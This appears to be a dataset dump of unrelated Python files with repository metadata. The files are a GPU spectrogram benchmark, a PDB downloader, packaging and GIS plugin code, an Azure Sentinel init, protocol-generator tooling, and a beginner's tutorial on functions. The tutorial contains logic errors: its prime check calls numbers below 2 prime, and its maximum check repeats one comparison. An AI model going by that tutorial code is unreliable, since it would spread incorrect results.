#!/usr/bin/env python # -*- coding: utf-8 -*- """ Computes the spectrogram of a test signal using cupy and cuFFT. Author: Jan Schlüter """ import sys import os import timeit import numpy as np import cupy as cp INPUT_ON_GPU = True OUTPUT_ON_GPU = True from testfile import make_test_signal def spectrogram(signal, sample_rate=22050, frame_len=1024, fps=70): """ Computes a magnitude spectrogram at a given sample rate (in Hz), frame length (in samples) and frame rate (in Hz), on CUDA using cupy. """ if not INPUT_ON_GPU: signal = cp.array(signal.astype(np.float32)) # already blown up to a list of frames win = cp.hanning(frame_len).astype(cp.float32) # apply window function #signal *= win # this doesn't work correctly for some reason. signal = signal * win # perform FFT spect = cp.fft.rfft(signal) # convert into magnitude spectrogram spect = cp.abs(spect) # return if OUTPUT_ON_GPU: cp.cuda.get_current_stream().synchronize() else: return spect.get() def main(): # load input global x, spectrogram x = make_test_signal() # we do the following here because cupy cannot do stride tricks # the actual copying work is included in the benchmark unless INPUT_ON_GPU hop_size = 22050 // 70 frame_len = 1024 frames = len(x) - frame_len + 1 x = np.lib.stride_tricks.as_strided( x, (frames, frame_len), (x.strides[0], x.strides[0]))[::hop_size] if INPUT_ON_GPU: x = cp.array(x.astype(np.float32)) # benchmark times = timeit.repeat( setup='from __main__ import x, spectrogram', stmt='spectrogram(x)', repeat=5, number=32) print("Took %.3fs." % (min(times) / 32)) # save result #assert not OUTPUT_ON_GPU #np.save(sys.argv[0][:-2] + 'npy', spectrogram(x)) if __name__=="__main__": main()

bc986ff7e618db67d5b1902a0fdfeecd1595ea88

py

Python

pythonTools/downloadPDBsInList.py

rsanchezgarc/BIPSPI

e155fee0836084ea02bc9919c58817d26a4a13e5

2020-01-21T21:11:49.000Z

2022-02-06T19:55:28.000Z

pythonTools/downloadPDBsInList.py

rsanchezgarc/BIPSPI

e155fee0836084ea02bc9919c58817d26a4a13e5

pythonTools/downloadPDBsInList.py

rsanchezgarc/BIPSPI

e155fee0836084ea02bc9919c58817d26a4a13e5

2018-05-25T14:57:36.000Z

2022-01-27T12:53:41.000Z

import sys, os from subprocess import call try: from downloadPdb import downloadPDB except ImportError: from .downloadPdb import downloadPDB pdbListFile="/home/rsanchez/Tesis/rriPredMethod/data/joanDimers/117_dimers_list.tsv" outPath="/home/rsanchez/Tesis/rriPredMethod/data/joanDimers/pdbFiles/rawPDBs" USE_BIO_UNIT=False ##def downloadPDB(pdbId, pdbOutPath, useBioUnit): #### descargar pdb: wget ftp://ftp.wwpdb.org/pub/pdb/data/biounit/coordinates/all/1i1q.pdb2.gz o ya descomprimido #### wget -qO- ftp://ftp.wwpdb.org/pub/pdb/data/biounit/coordinates/all/1i1q.pdb2.gz |zcat > 1i1q.pdb ## outName= os.path.join(pdbOutPath,pdbId+'.pdb') ## if not os.path.isfile(outName): ## if useBioUnit: ## cmd= 'wget -qO- ftp://ftp.wwpdb.org/pub/pdb/data/biounit/coordinates/all/%s.pdb1.gz |zcat > %s'%(pdbId.lower(), outName) ## else: ## cmd= 'wget -qO- http://www.pdb.org/pdb/files/%s.pdb | cat > %s'%(pdbId.upper(), outName) ## print(cmd) ## call(cmd, shell= True) def downloadInFile(fname, outPath, useBioUnit): with open(fname) as f: for line in f: pdbId= line.split()[0] print(pdbId) downloadPDB(pdbId, outPath, bioUnit= 0 if useBioUnit else None) if __name__=="__main__": if len(sys.argv)==3: pdbListFile= os.path.abspath(os.path.expanduser(sys.argv[1])) outPath= os.path.abspath(os.path.expanduser(sys.argv[2])) print( pdbListFile, outPath) downloadInFile(pdbListFile, outPath, USE_BIO_UNIT)

bc9c8f24e080e4c64950de33e4962b6b2e44ede2

py

Python

setup.py

maciek3000/data_dashboard

1b573b674d37f57ae7e8bbfb1e83c801b488dfd6

2021-05-03T04:06:15.000Z

2022-01-15T16:27:42.000Z

setup.py

maciek3000/data_dashboard

1b573b674d37f57ae7e8bbfb1e83c801b488dfd6

setup.py

maciek3000/data_dashboard

1b573b674d37f57ae7e8bbfb1e83c801b488dfd6

2021-05-19T17:31:18.000Z

2021-06-19T12:24:01.000Z

from setuptools import setup, find_packages import pathlib here = pathlib.Path(__file__).parent.resolve() long_description = (here / "readme.md").read_text(encoding="utf-8") setup( name="data_dashboard", version="0.1.1", description="Dashboard to explore the data and to create baseline Machine Learning model.", long_description=long_description, long_description_content_type="text/markdown", url="https://github.com/maciek3000/data_dashboard", author="Maciej Dowgird", author_email="dowgird.maciej@gmail.com", classifiers=[ "Development Status :: 3 - Alpha", "Intended Audience :: Developers", "Intended Audience :: Education", "License :: OSI Approved :: MIT License", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.7", "Topic :: Scientific/Engineering :: Artificial Intelligence", "Topic :: Scientific/Engineering :: Visualization" ], package_dir={"data_dashboard": "data_dashboard"}, packages=find_packages(), python_requires=">=3.7", install_requires=[ "pandas>=1.2.3", "numpy>=1.19.5", "scipy>=1.6.1", "beautifulsoup4>=4.9.3", "scikit-learn>=0.24.1", "seaborn>=0.11.1", "bokeh>=2.3.0", "Jinja2>=2.11.3", "xgboost>=1.3.3", "lightgbm>=3.2.0" ], package_data={ "data_dashboard": ["static/*", "templates/*", "examples/*"] }, project_urls={ "Github": "https://github.com/maciek3000/data_dashboard", }, )

bca568d5e71e781c0b945807208117a83879f72f

py

Python

doc's/3-labels_and_titles.py

andreluispy/py2html

227f3225632b467c95131b841d6ffab4c5202e44

doc's/3-labels_and_titles.py

andreluispy/py2html

227f3225632b467c95131b841d6ffab4c5202e44

doc's/3-labels_and_titles.py

andreluispy/py2html

227f3225632b467c95131b841d6ffab4c5202e44

from py2html.main import * page = web() page.create() # Header Parameters # text = header text # n = title level page.header(text='My Site', n=1) # Label Parameters # text = label text # color = label color page.label(text='', color='') page.compile()

bcb3b617387a63312fcb662d0698c65cf437acee

py

Python

LearnFunction/learnfunction01.py

subash-kc/2022-01-04-Python

5ce51e4265bcd860a4e62423edef6ec9cd1437b4

2022-01-14T18:03:42.000Z

2022-01-14T18:03:42.000Z

LearnFunction/learnfunction01.py

subash-kc/2022-01-04-Python

5ce51e4265bcd860a4e62423edef6ec9cd1437b4

LearnFunction/learnfunction01.py

subash-kc/2022-01-04-Python

5ce51e4265bcd860a4e62423edef6ec9cd1437b4

""" Function are subprograms which are used to compute a value or perform a task. Type of Functions:- Built in Functions: print(), upper() User define functions Advantage of Functions 1. Write once and use it as many time as you need. This provides code reusability 2. Function facilitates ease of code maintenance 3. Divide Large task into many small task so it will help you to debug code 4. You can remove or add new feature to a function anytime. """ """ We can define a function using def keyword followed by function name with parentheses. This is also called as Creating a function, Writing a Function, Defining a FUnction. Syntax:- def function_name(): Local Variable block of statement return(variable or expression) def function_name(param1, param2, param3, .....) Local Variable Block of statement return (variable or expression) Note - Nooed to mainitain a proper indentation """ # creating a list def add(): list = [8, 2, 3, 0, 7] total = 0; for i in range(0, len(list)): total = total + list[i] print('Sum of all elements in given list: ', total) if __name__ == '__main__': add() print() # another method def sum_list(): mylist = [8, 2, 3, 0, 7] # Using inbuilt sum method total = sum(mylist) print("Sum of all elements in given list1: ", total) if __name__ == '__main__': sum_list() print() def multiplylist(): list_multiply = [8, 2, 3, -1, 7] total = 1; for x in list_multiply: total = total * x print(total) if __name__ == '__main__': multiplylist() # Method 2: Unsing numpy.prid() ^ Install numpy package import numpy def product_total(): list_product = [8, 2, 3, -1, 7] total = numpy.prod(list_product) print("Another method using numpy method to find product in list: ", total) product_total() print() def findingminmax(num1: int, num2: int, num3: int) -> int: max = 0; if (num1 > num2 and num1 > num2): max = num1 elif (num2 > num1 and num2 > num3): max = num2 else: max = num3 print("The maximum number in given list is: ", max) findingminmax(22, 26, 30) print() print("Another Method to find maximum") def findingmaximum(num1: int, num2: int, num3: int) -> int: find_max_list = (num1, num2, num3) return max(find_max_list) x = int(input("Enter your first Number: ")) y = int(input("Enter your second Number: ")) z = int(input("Enter your third Number: ")) print("Maximum number is ::>", findingmaximum(x, y, z)) """Python program to print the even numbers from a given list""" def find_even(): sample_list = [1, 2, 3, 4, 5, 6, 7, 8, 9] for num in sample_list: if num % 2 == 0: print(num, end=" ") find_even() print() """ Pythhon program to find prime numbers in given list Function should return true if the number is prime; else false """ def isPrime(num): if (num < 2): return True for i in range (2, num//2+1): if(num%i==0): return False return True number =int(input("Enter the number you will like to check whether the number is prime or not: \n")) if isPrime(number): print(number, "is a Prime Number") else: print(number, "is not a Prime number") """ Another Method to find prime number """

bcb4c4328d404e8eec9df91c64d171e98d7a2415

py

Python

src/Gismo_XY To Location.py

AntonelloDN/gismo

3ffbabaf8405efd3572701c9e0b7497211dfc248

2017-01-31T11:55:22.000Z

2022-03-26T16:00:40.000Z

src/Gismo_XY To Location.py

AntonelloDN/gismo

3ffbabaf8405efd3572701c9e0b7497211dfc248

2017-02-22T16:45:11.000Z

2020-05-06T17:00:07.000Z

src/Gismo_XY To Location.py

AntonelloDN/gismo

3ffbabaf8405efd3572701c9e0b7497211dfc248

2017-01-29T18:02:58.000Z

2021-08-25T10:56:57.000Z

# xy to location # # Gismo is a plugin for GIS environmental analysis (GPL) started by Djordje Spasic. # # This file is part of Gismo. # # Copyright (c) 2019, Djordje Spasic <djordjedspasic@gmail.com> # Gismo is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. # # Gismo is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/. # # The GPL-3.0+ license <http://spdx.org/licenses/GPL-3.0+> """ Use this component to calculate latitude and longitude coordinates of the _point in Rhino scene. For example: you created some building shapes with Gismo "OSM Shapes" component, and now you would like to check what are the latitude and longtitude coordinates of particular part of the building. - Provided by Gismo 0.0.3 input: _point: A point for which we would like to calculate its latitude and longitude coordinates anchorLocation_: Represents latitude,longitude coordinates which correspond to anchorOrigin_ in Rhino scene. - If nothing added to this input, anchorLocation_ with both latitude and longitude set to "0" will be used as a default. anchorOrigin_: A point in Rhino scene which corresponds to anchorLocation_. - If nothing added to this input, anchorOrigin will be set to: 0,0,0. output: readMe!: ... location: Location (latitude, longitude coordinates) of the _point input. """ ghenv.Component.Name = "Gismo_XY To Location" ghenv.Component.NickName = "XYtoLocation" ghenv.Component.Message = "VER 0.0.3\nJAN_29_2019" ghenv.Component.IconDisplayMode = ghenv.Component.IconDisplayMode.application ghenv.Component.Category = "Gismo" ghenv.Component.SubCategory = "1 | Gismo" #compatibleGismoVersion = VER 0.0.3\nJAN_29_2019 try: ghenv.Component.AdditionalHelpFromDocStrings = "2" except: pass import scriptcontext as sc import Grasshopper import Rhino def main(requiredPoint, anchorLocation, anchorOrigin): # check inputs if (requiredPoint == None): required_location = None validInputData = False printMsg = "Please add a point to this component's \"_point\" input." return required_location, validInputData, printMsg if (anchorLocation == None): locationName = "unknown location" anchor_locationLatitudeD = 0 anchor_locationLongitudeD = 0 timeZone = 0 elevation = 0 else: locationName, anchor_locationLatitudeD, anchor_locationLongitudeD, timeZone, elevation, validLocationData, printMsg = gismo_preparation.checkLocationData(anchorLocation) if (anchorOrigin == None): anchorOrigin = Rhino.Geometry.Point3d(0,0,0) unitConversionFactor, unitSystemLabel = gismo_preparation.checkUnits() anchorOrigin_meters = Rhino.Geometry.Point3d(anchorOrigin.X*unitConversionFactor, anchorOrigin.Y*unitConversionFactor, anchorOrigin.Z*unitConversionFactor) requiredPoint_meters = Rhino.Geometry.Point3d(requiredPoint.X*unitConversionFactor, requiredPoint.Y*unitConversionFactor, requiredPoint.Z*unitConversionFactor) # inputCRS EPSGcode = 4326 # WGS 84 inputCRS_dummy = gismo_gis.CRS_from_EPSGcode(EPSGcode) # outputCRS outputCRS_dummy = gismo_gis.UTM_CRS_from_latitude(anchor_locationLatitudeD, anchor_locationLongitudeD) anchor_originProjected_meters = gismo_gis.convertBetweenTwoCRS(inputCRS_dummy, outputCRS_dummy, anchor_locationLongitudeD, anchor_locationLatitudeD) # in meters # inputCRS # based on assumption that both anchorLocation_ input and required_location belong to the same UTM zone inputCRS = gismo_gis.UTM_CRS_from_latitude(anchor_locationLatitudeD, anchor_locationLongitudeD, anchor_locationLatitudeD, anchor_locationLongitudeD) # outputCRS EPSGcode = 4326 outputCRS = gismo_gis.CRS_from_EPSGcode(EPSGcode) latitudeLongitudePt = gismo_gis.convertBetweenTwoCRS(inputCRS, outputCRS, (anchor_originProjected_meters.X - anchorOrigin_meters.X) + requiredPoint_meters.X, (anchor_originProjected_meters.Y - anchorOrigin_meters.Y) + requiredPoint_meters.Y) required_location = gismo_preparation.constructLocation(locationName, latitudeLongitudePt.Y, latitudeLongitudePt.X, timeZone, elevation) validInputData = True printMsg = "ok" return required_location, validInputData, printMsg level = Grasshopper.Kernel.GH_RuntimeMessageLevel.Warning if sc.sticky.has_key("gismoGismo_released"): validVersionDate, printMsg = sc.sticky["gismo_check"].versionDate(ghenv.Component) if validVersionDate: gismo_preparation = sc.sticky["gismo_Preparation"]() gismo_gis = sc.sticky["gismo_GIS"]() location, validInputData, printMsg = main(_point, anchorLocation_, anchorOrigin_) if not validInputData: print printMsg ghenv.Component.AddRuntimeMessage(level, printMsg) else: print printMsg ghenv.Component.AddRuntimeMessage(level, printMsg) else: printMsg = "First please run the Gismo Gismo component." print printMsg ghenv.Component.AddRuntimeMessage(level, printMsg)

bcb5f8a3494a7c1dd73bdaa2595e97b680531db5

py

Python

Notebooks/SentinelUtilities/SentinelAnomalyLookup/__init__.py

ytognder/Azure-Sentinel

7345560f178e731d7ba5a5541fd3383bca285311

2019-10-18T00:41:39.000Z

2022-03-18T05:44:01.000Z

Notebooks/SentinelUtilities/SentinelAnomalyLookup/__init__.py

ytognder/Azure-Sentinel

7345560f178e731d7ba5a5541fd3383bca285311

2020-03-10T16:56:10.000Z

2022-03-28T21:54:26.000Z

Notebooks/SentinelUtilities/SentinelAnomalyLookup/__init__.py

ytognder/Azure-Sentinel

7345560f178e731d7ba5a5541fd3383bca285311

2020-01-07T20:28:43.000Z

2022-03-23T04:09:39.000Z

# pylint: disable-msg=C0103 """ SentinelAnomalyLookup: This package is developed for Azure Sentinel Anomaly lookup """ # __init__.py from .anomaly_lookup_view_helper import AnomalyLookupViewHelper from .anomaly_finder import AnomalyQueries, AnomalyFinder

bccd1fa8fe336f245d1474aeb673c6c021c08a1b

py

Python

aea/protocols/generator/common.py

valory-xyz/agents-aea

8f38efa96041b0156ed1ae328178e395dbabf2fc

aea/protocols/generator/common.py

valory-xyz/agents-aea

8f38efa96041b0156ed1ae328178e395dbabf2fc

aea/protocols/generator/common.py

valory-xyz/agents-aea

8f38efa96041b0156ed1ae328178e395dbabf2fc

# -*- coding: utf-8 -*- # ------------------------------------------------------------------------------ # # Copyright 2022 Valory AG # Copyright 2018-2021 Fetch.AI Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # ------------------------------------------------------------------------------ """This module contains utility code for generator modules.""" import inspect import os import re import shutil import subprocess # nosec import sys import tempfile from pathlib import Path from typing import Tuple from aea.configurations.base import ProtocolSpecification from aea.configurations.constants import ( DEFAULT_PROTOCOL_CONFIG_FILE, PACKAGES, PROTOCOL_LANGUAGE_JS, PROTOCOL_LANGUAGE_PYTHON, ) from aea.configurations.loader import ConfigLoader from aea.helpers.io import open_file SPECIFICATION_PRIMITIVE_TYPES = ["pt:bytes", "pt:int", "pt:float", "pt:bool", "pt:str"] SPECIFICATION_COMPOSITIONAL_TYPES = [ "pt:set", "pt:list", "pt:dict", "pt:union", "pt:optional", ] PYTHON_COMPOSITIONAL_TYPES = [ "FrozenSet", "Tuple", "Dict", "Union", "Optional", ] MESSAGE_IMPORT = "from aea.protocols.base import Message" SERIALIZER_IMPORT = "from aea.protocols.base import Serializer" PATH_TO_PACKAGES = PACKAGES INIT_FILE_NAME = "__init__.py" PROTOCOL_YAML_FILE_NAME = DEFAULT_PROTOCOL_CONFIG_FILE MESSAGE_DOT_PY_FILE_NAME = "message.py" DIALOGUE_DOT_PY_FILE_NAME = "dialogues.py" CUSTOM_TYPES_DOT_PY_FILE_NAME = "custom_types.py" SERIALIZATION_DOT_PY_FILE_NAME = "serialization.py" PYTHON_TYPE_TO_PROTO_TYPE = { "bytes": "bytes", "int": "int32", "float": "float", "bool": "bool", "str": "string", } CURRENT_DIR = os.path.dirname(inspect.getfile(inspect.currentframe())) # type: ignore ISORT_CONFIGURATION_FILE = os.path.join(CURRENT_DIR, "isort.cfg") ISORT_CLI_ARGS = [ "--settings-path", ISORT_CONFIGURATION_FILE, "--quiet", ] PROTOLINT_CONFIGURATION_FILE_NAME = "protolint.yaml" PROTOLINT_CONFIGURATION = """lint: rules: remove: - MESSAGE_NAMES_UPPER_CAMEL_CASE - ENUM_FIELD_NAMES_ZERO_VALUE_END_WITH - PACKAGE_NAME_LOWER_CASE - REPEATED_FIELD_NAMES_PLURALIZED - FIELD_NAMES_LOWER_SNAKE_CASE""" PROTOLINT_INDENTATION_ERROR_STR = "incorrect indentation style" PROTOLINT_ERROR_WHITELIST = [PROTOLINT_INDENTATION_ERROR_STR] def _to_camel_case(text: str) -> str: """ Convert a text in snake_case format into the CamelCase format. :param text: the text to be converted. :return: The text in CamelCase format. """ return "".join(word.title() for word in text.split("_")) def _camel_case_to_snake_case(text: str) -> str: """ Convert a text in CamelCase format into the snake_case format. :param text: the text to be converted. :return: The text in CamelCase format. """ return re.sub(r"(?<!^)(?=[A-Z])", "_", text).lower() def _match_brackets(text: str, index_of_open_bracket: int) -> int: """ Give the index of the matching close bracket for the opening bracket at 'index_of_open_bracket' in the input 'text'. :param text: the text containing the brackets. :param index_of_open_bracket: the index of the opening bracket. :return: the index of the matching closing bracket (if any). :raises SyntaxError if there are no matching closing bracket. """ if text[index_of_open_bracket] != "[": raise SyntaxError( "Index {} in 'text' is not an open bracket '['. It is {}".format( index_of_open_bracket, text[index_of_open_bracket], ) ) open_bracket_stack = [] for index in range(index_of_open_bracket, len(text)): if text[index] == "[": open_bracket_stack.append(text[index]) elif text[index] == "]": open_bracket_stack.pop() if not open_bracket_stack: return index raise SyntaxError( "No matching closing bracket ']' for the opening bracket '[' at {} " + str(index_of_open_bracket) ) def _has_matched_brackets(text: str) -> bool: """ Evaluate whether every opening bracket '[' in the 'text' has a matching closing bracket ']'. :param text: the text. :return: Boolean result, and associated message. """ open_bracket_stack = [] for index, _ in enumerate(text): if text[index] == "[": open_bracket_stack.append(index) elif text[index] == "]": if len(open_bracket_stack) == 0: return False open_bracket_stack.pop() return len(open_bracket_stack) == 0 def _get_sub_types_of_compositional_types(compositional_type: str) -> Tuple[str, ...]: """ Extract the sub-types of compositional types. This method handles both specification types (e.g. pt:set[], pt:dict[]) as well as python types (e.g. FrozenSet[], Union[]). :param compositional_type: the compositional type string whose sub-types are to be extracted. :return: tuple containing all extracted sub-types. """ sub_types_list = list() for valid_compositional_type in ( SPECIFICATION_COMPOSITIONAL_TYPES + PYTHON_COMPOSITIONAL_TYPES ): if compositional_type.startswith(valid_compositional_type): inside_string = compositional_type[ compositional_type.index("[") + 1 : compositional_type.rindex("]") ].strip() while inside_string != "": do_not_add = False if inside_string.find(",") == -1: # No comma; this is the last sub-type provisional_sub_type = inside_string.strip() if ( provisional_sub_type == "..." ): # The sub-string is ... used for Tuple, e.g. Tuple[int, ...] do_not_add = True else: sub_type = provisional_sub_type inside_string = "" else: # There is a comma; this MAY not be the last sub-type sub_string_until_comma = inside_string[ : inside_string.index(",") ].strip() if ( sub_string_until_comma.find("[") == -1 ): # No open brackets; this is a primitive type and NOT the last sub-type sub_type = sub_string_until_comma inside_string = inside_string[ inside_string.index(",") + 1 : ].strip() else: # There is an open bracket'['; this is a compositional type try: closing_bracket_index = _match_brackets( inside_string, inside_string.index("[") ) except SyntaxError: raise SyntaxError( "Bad formatting. No matching close bracket ']' for the open bracket at {}".format( inside_string[ : inside_string.index("[") + 1 ].strip() ) ) sub_type = inside_string[: closing_bracket_index + 1].strip() the_rest_of_inside_string = inside_string[ closing_bracket_index + 1 : ].strip() if ( the_rest_of_inside_string.find(",") == -1 ): # No comma; this is the last sub-type inside_string = the_rest_of_inside_string.strip() else: # There is a comma; this is not the last sub-type inside_string = the_rest_of_inside_string[ the_rest_of_inside_string.index(",") + 1 : ].strip() if not do_not_add: sub_types_list.append(sub_type) return tuple(sub_types_list) raise SyntaxError( "{} is not a valid compositional type.".format(compositional_type) ) def _union_sub_type_to_protobuf_variable_name( content_name: str, content_type: str ) -> str: """ Given a content of type union, create a variable name for its sub-type for protobuf. :param content_name: the name of the content :param content_type: the sub-type of a union type :return: The variable name """ if content_type.startswith("FrozenSet"): sub_type = _get_sub_types_of_compositional_types(content_type)[0] expanded_type_str = "set_of_{}".format(sub_type) elif content_type.startswith("Tuple"): sub_type = _get_sub_types_of_compositional_types(content_type)[0] expanded_type_str = "list_of_{}".format(sub_type) elif content_type.startswith("Dict"): sub_type_1 = _get_sub_types_of_compositional_types(content_type)[0] sub_type_2 = _get_sub_types_of_compositional_types(content_type)[1] expanded_type_str = "dict_of_{}_{}".format(sub_type_1, sub_type_2) else: expanded_type_str = content_type protobuf_variable_name = "{}_type_{}".format(content_name, expanded_type_str) return protobuf_variable_name def _python_pt_or_ct_type_to_proto_type(content_type: str) -> str: """ Convert a PT or CT from python to their protobuf equivalent. :param content_type: the python type :return: The protobuf equivalent """ if content_type in PYTHON_TYPE_TO_PROTO_TYPE.keys(): proto_type = PYTHON_TYPE_TO_PROTO_TYPE[content_type] else: proto_type = content_type return proto_type def _includes_custom_type(content_type: str) -> bool: """ Evaluate whether a content type is a custom type or has a custom type as a sub-type. :param content_type: the content type :return: Boolean result """ if content_type.startswith("Optional"): sub_type = _get_sub_types_of_compositional_types(content_type)[0] result = _includes_custom_type(sub_type) elif content_type.startswith("Union"): sub_types = _get_sub_types_of_compositional_types(content_type) result = False for sub_type in sub_types: if _includes_custom_type(sub_type): result = True break elif ( content_type.startswith("FrozenSet") or content_type.startswith("Tuple") or content_type.startswith("Dict") or content_type in PYTHON_TYPE_TO_PROTO_TYPE.keys() ): result = False else: result = True return result def is_installed(programme: str) -> bool: """ Check whether a programme is installed on the system. :param programme: the name of the programme. :return: True if installed, False otherwise """ res = shutil.which(programme) return res is not None def base_protolint_command() -> str: """ Return the base protolint command. :return: The base protolint command """ if sys.platform.startswith("win"): protolint_base_cmd = "protolint" # pragma: nocover else: protolint_base_cmd = "PATH=${PATH}:${GOPATH}/bin/:~/go/bin protolint" return protolint_base_cmd def check_prerequisites() -> None: """Check whether a programme is installed on the system.""" # check black code formatter is installed if not is_installed("black"): raise FileNotFoundError( "Cannot find black code formatter! To install, please follow this link: https://black.readthedocs.io/en/stable/installation_and_usage.html" ) # check isort code formatter is installed if not is_installed("isort"): raise FileNotFoundError( "Cannot find isort code formatter! To install, please follow this link: https://pycqa.github.io/isort/#installing-isort" ) # check protolint code formatter is installed if subprocess.call(f"{base_protolint_command()} version", shell=True) != 0: # nosec raise FileNotFoundError( "Cannot find protolint protocol buffer schema file linter! To install, please follow this link: https://github.com/yoheimuta/protolint." ) # check protocol buffer compiler is installed if not is_installed("protoc"): raise FileNotFoundError( "Cannot find protocol buffer compiler! To install, please follow this link: https://developers.google.com/protocol-buffers/" ) def get_protoc_version() -> str: """Get the protoc version used.""" result = subprocess.run( # nosec ["protoc", "--version"], stdout=subprocess.PIPE, check=True ) result_str = result.stdout.decode("utf-8").strip("\n").strip("\r") return result_str def load_protocol_specification(specification_path: str) -> ProtocolSpecification: """ Load a protocol specification. :param specification_path: path to the protocol specification yaml file. :return: A ProtocolSpecification object """ config_loader = ConfigLoader( "protocol-specification_schema.json", ProtocolSpecification ) protocol_spec = config_loader.load_protocol_specification( open_file(specification_path) ) return protocol_spec def _create_protocol_file( path_to_protocol_package: str, file_name: str, file_content: str ) -> None: """ Create a file in the generated protocol package. :param path_to_protocol_package: path to the file :param file_name: the name of the file :param file_content: the content of the file """ pathname = os.path.join(path_to_protocol_package, file_name) with open_file(pathname, "w") as file: file.write(file_content) def try_run_black_formatting(path_to_protocol_package: str) -> None: """ Run Black code formatting via subprocess. :param path_to_protocol_package: a path where formatting should be applied. """ subprocess.run( # nosec [sys.executable, "-m", "black", path_to_protocol_package, "--quiet"], check=True, ) def try_run_isort_formatting(path_to_protocol_package: str) -> None: """ Run Isort code formatting via subprocess. :param path_to_protocol_package: a path where formatting should be applied. """ subprocess.run( # nosec [sys.executable, "-m", "isort", *ISORT_CLI_ARGS, path_to_protocol_package], check=True, ) def try_run_protoc( path_to_generated_protocol_package: str, name: str, language: str = PROTOCOL_LANGUAGE_PYTHON, ) -> None: """ Run 'protoc' protocol buffer compiler via subprocess. :param path_to_generated_protocol_package: path to the protocol buffer schema file. :param name: name of the protocol buffer schema file. :param language: the target language in which to compile the protobuf schema file """ # for closure-styled imports for JS, comment the first line and uncomment the second js_commonjs_import_option = ( "import_style=commonjs,binary:" if language == PROTOCOL_LANGUAGE_JS else "" ) language_part_of_the_command = f"--{language}_out={js_commonjs_import_option}{path_to_generated_protocol_package}" subprocess.run( # nosec [ "protoc", f"-I={path_to_generated_protocol_package}", language_part_of_the_command, f"{path_to_generated_protocol_package}/{name}.proto", ], stderr=subprocess.PIPE, encoding="utf-8", check=True, env=os.environ.copy(), ) def try_run_protolint(path_to_generated_protocol_package: str, name: str) -> None: """ Run 'protolint' linter via subprocess. :param path_to_generated_protocol_package: path to the protocol buffer schema file. :param name: name of the protocol buffer schema file. """ # path to proto file path_to_proto_file = os.path.join( path_to_generated_protocol_package, f"{name}.proto", ) # Dump protolint configuration into a temporary file temp_dir = tempfile.mkdtemp() path_to_configuration_in_tmp_file = Path( temp_dir, PROTOLINT_CONFIGURATION_FILE_NAME ) with open_file(path_to_configuration_in_tmp_file, "w") as file: file.write(PROTOLINT_CONFIGURATION) # Protolint command cmd = f'{base_protolint_command()} lint -config_path={path_to_configuration_in_tmp_file} -fix "{path_to_proto_file}"' # Execute protolint command subprocess.run( # nosec cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE, encoding="utf-8", check=True, env=os.environ.copy(), shell=True, ) # Delete temporary configuration file shutil.rmtree(temp_dir) # pragma: no cover def check_protobuf_using_protoc( path_to_generated_protocol_package: str, name: str ) -> Tuple[bool, str]: """ Check whether a protocol buffer schema file is valid. Validation is via trying to compile the schema file. If successfully compiled it is valid, otherwise invalid. If valid, return True and a 'protobuf file is valid' message, otherwise return False and the error thrown by the compiler. :param path_to_generated_protocol_package: path to the protocol buffer schema file. :param name: name of the protocol buffer schema file. :return: Boolean result and an accompanying message """ try: try_run_protoc(path_to_generated_protocol_package, name) os.remove(os.path.join(path_to_generated_protocol_package, name + "_pb2.py")) return True, "protobuf file is valid" except subprocess.CalledProcessError as e: pattern = name + ".proto:[0-9]+:[0-9]+: " error_message = re.sub(pattern, "", e.stderr[:-1]) return False, error_message def compile_protobuf_using_protoc( path_to_generated_protocol_package: str, name: str, language: str ) -> Tuple[bool, str]: """ Compile a protocol buffer schema file using protoc. If successfully compiled, return True and a success message, otherwise return False and the error thrown by the compiler. :param path_to_generated_protocol_package: path to the protocol buffer schema file. :param name: name of the protocol buffer schema file. :param language: the target language in which to compile the protobuf schema file :return: Boolean result and an accompanying message """ try: try_run_protoc(path_to_generated_protocol_package, name, language) return True, "protobuf schema successfully compiled" except subprocess.CalledProcessError as e: pattern = name + ".proto:[0-9]+:[0-9]+: " error_message = re.sub(pattern, "", e.stderr[:-1]) return False, error_message def apply_protolint(path_to_proto_file: str, name: str) -> Tuple[bool, str]: """ Apply protolint linter to a protocol buffer schema file. If no output, return True and a success message, otherwise return False and the output shown by the linter (minus the indentation suggestions which are automatically fixed by protolint). :param path_to_proto_file: path to the protocol buffer schema file. :param name: name of the protocol buffer schema file. :return: Boolean result and an accompanying message """ try: try_run_protolint(path_to_proto_file, name) return True, "protolint has no output" except subprocess.CalledProcessError as e: lines_to_show = [] for line in e.stderr.split("\n"): to_show = True for whitelist_error_str in PROTOLINT_ERROR_WHITELIST: if whitelist_error_str in line: to_show = False break if to_show: lines_to_show.append(line) error_message = "\n".join(lines_to_show) return False, error_message

bcd88cb9aee8377371dcb96cf615ef4e2ec10580

py

Python

exercises/level_0/stringing.py

eliranM98/python_course

d9431dd6c0f27fca8ca052cc2a821ed0b883136c

2019-03-29T06:14:53.000Z

2021-10-15T23:42:36.000Z

exercises/level_0/stringing.py

eliranM98/python_course

d9431dd6c0f27fca8ca052cc2a821ed0b883136c

2019-09-06T10:03:40.000Z

2022-03-11T23:30:55.000Z

exercises/level_0/stringing.py

eliranM98/python_course

d9431dd6c0f27fca8ca052cc2a821ed0b883136c

2019-06-20T19:34:52.000Z

2021-10-15T23:42:39.000Z

